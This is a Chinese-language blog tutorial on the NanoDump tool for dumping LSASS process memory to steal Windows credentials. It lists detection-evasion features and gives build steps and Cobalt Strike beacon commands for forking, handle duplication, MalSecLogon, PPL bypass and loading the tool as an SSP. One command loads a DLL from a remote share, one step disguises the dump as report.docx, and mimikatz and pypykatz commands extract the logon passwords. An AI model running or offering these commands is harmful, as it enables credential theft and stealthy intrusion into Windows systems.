如何使用NanoDump导出LSASS进程数据

2022-06-08 15:17:57 浏览数 (2)

关于NanoDump

NanoDump是一款功能强大的MiniDump转储文件提取工具,在该工具的帮助下,广大研究人员可以轻松转储LSASS进程中的MiniDump数据。

功能介绍

1、大多数操作都使用了syscall(配合SysWhispers2); 2、通过ntdll地址调用syscall,以绕过某些系统调用检测; 3、支持将syscall回调钩子设置为NULL; 4、通过动态调用方法来调用Windows API; 5、支持选择下载转储文件而不需要触碰磁盘或写入文件; 6、默认情况下,MiniDump具有无效的签名以避免检测; 7、通过忽略不相关的DLL来减少转储的大小,NanoDump的输出数据大小约为10MB; 8、不需要提供LSASS的进程PID; 9、不会调用dbghelp或其他库,所有的转储逻辑都在NanoDump中实现; 10、支持进程Fork; 11、支持快照; 12、支持句柄拷贝; 13、支持MalSecLogon; 14、支持PPL用户态利用; 15、可以使用NanoDump的.exe版本在Cobalt Strike之外单独运行NanoDump;

工具安装&配置

首先,我们需要使用下列命令将该项目源码克隆至本地:

代码语言:javascript复制
git clone https://github.com/helpsystems/nanodump.git

Linux编译

在Linux系统上,我们需要使用MinGW来编译NanoDump源码:

代码语言:javascript复制
make -f Makefile.mingw

Windows编译

在Windows系统上,我们需要使用MSVC来编译NanoDump源码:

代码语言:javascript复制
nmake -f Makefile.msvc

Cobalt Strike导入

接下来,我们需要将生成的NanoDump.cna脚本导入到Cobalt Strike中。

工具使用

我们可以直接在Cobalt Strike的Beacon控制台中运行“nanodump”命令来使用NanoDump:

代码语言:javascript复制
beacon> nanodump

恢复签名

当你下载了NanoDump生成的MiniDump转储文件之后,可以使用下列命令来恢复无效签名:

代码语言:javascript复制
scripts/restore_signature <dumpfile>

获取敏感信息

下列命令可以通过mimikatz来获取转储文件中的敏感信息:

代码语言:javascript复制
mimikatz # sekurlsa::minidump <dumpfile>

mimikatz # sekurlsa::logonPasswords full

如果你使用的是Linux系统,也可以使用mimikatz的Python 3版本,即pypykatz来获取转储文件中的敏感信息:

代码语言:javascript复制
python3 -m pypykatz lsa minidump <dumpfie>

以SSP加载NanoDump

我们可以在LSASS中以SSP的形式加载NanoDump以避免打开一个句柄。此时,转储的数据将使用一个无效签名(默认为C:WindowsTempreport.docx)来写入磁盘。当转储完成后,DllMain将返回FALSE来控制LSASS卸载NanoDump DLL。

如需修改转储路径和签名配置,可以直接修改entry.c中的NanoDump函数。

NanoDump DLL上传和加载

代码语言:javascript复制
beacon> load_ssp

beacon> delete_file C:WindowsTemp[RANDOM].dll

加载本地DLL

代码语言:javascript复制
beacon> load_ssp c:ssp.dll

加载远程DLL

代码语言:javascript复制
beacon> load_ssp \10.10.10.10openSharessp.dll

PPL绕过

代码语言:javascript复制
beacon> nanodump_ppl -v -w C:WindowsTemplsass.dmp

工具使用演示

通过创建一个Fork间接读取LSASS进程数据,并使用无效签名将转储文件写入磁盘:

代码语言:javascript复制
beacon> nanodump --fork --write C:lsass.dmp

使用MalSecLogon在一个记事本进程中获取LSASS句柄,然后拷贝句柄以访问LSASS,并读取转储信息:

代码语言:javascript复制
beacon> nanodump --malseclogon --dup --fork --binary C:Windowsnotepad.exe --valid

使用MalSecLogon获取句柄,通过使用Fork间接读取LSASS,并使用无效签名将转储文件写入磁盘:

代码语言:javascript复制
beacon> nanodump --malseclogon --fork --valid --write C:WindowsTemplsass.dmp

使用无效签名下载转储文件:

代码语言:javascript复制
beacon> nanodump

拷贝现有句柄,并使用无效签名将转储文件写入磁盘:

代码语言:javascript复制
beacon> nanodump --dup --write C:WindowsTempreport.docx

获取LSASS进程PID:

代码语言:javascript复制
beacon> nanodump --getpid

在LSASS中以SSP加载NanoDump:

代码语言:javascript复制
beacon> load_ssp

beacon> delete_file C:WindowsTemp[RANDOM].dll

在LSASS中以SSP加载NanoDump(远程):

代码语言:javascript复制
beacon> load_ssp \10.10.10.10openSharenanodump_ssp.x64.dll

转储LSASS并绕过PPL:

代码语言:javascript复制
beacon> nanodump_ppl --dup --write C:WindowsTemplsass.dmp

工具运行截图

许可证协议

本项目的开发与发布遵循Apache-2.0开源许可证协议。

项目地址

https://github.com/helpsystems/nanodump

参考资料

https://github.com/jthuraisamy/SysWhispers2

https://github.com/skelsec/pypykatz

https://github.com/helpsystems/nanodump/blob/main/source/entry.c

0 人点赞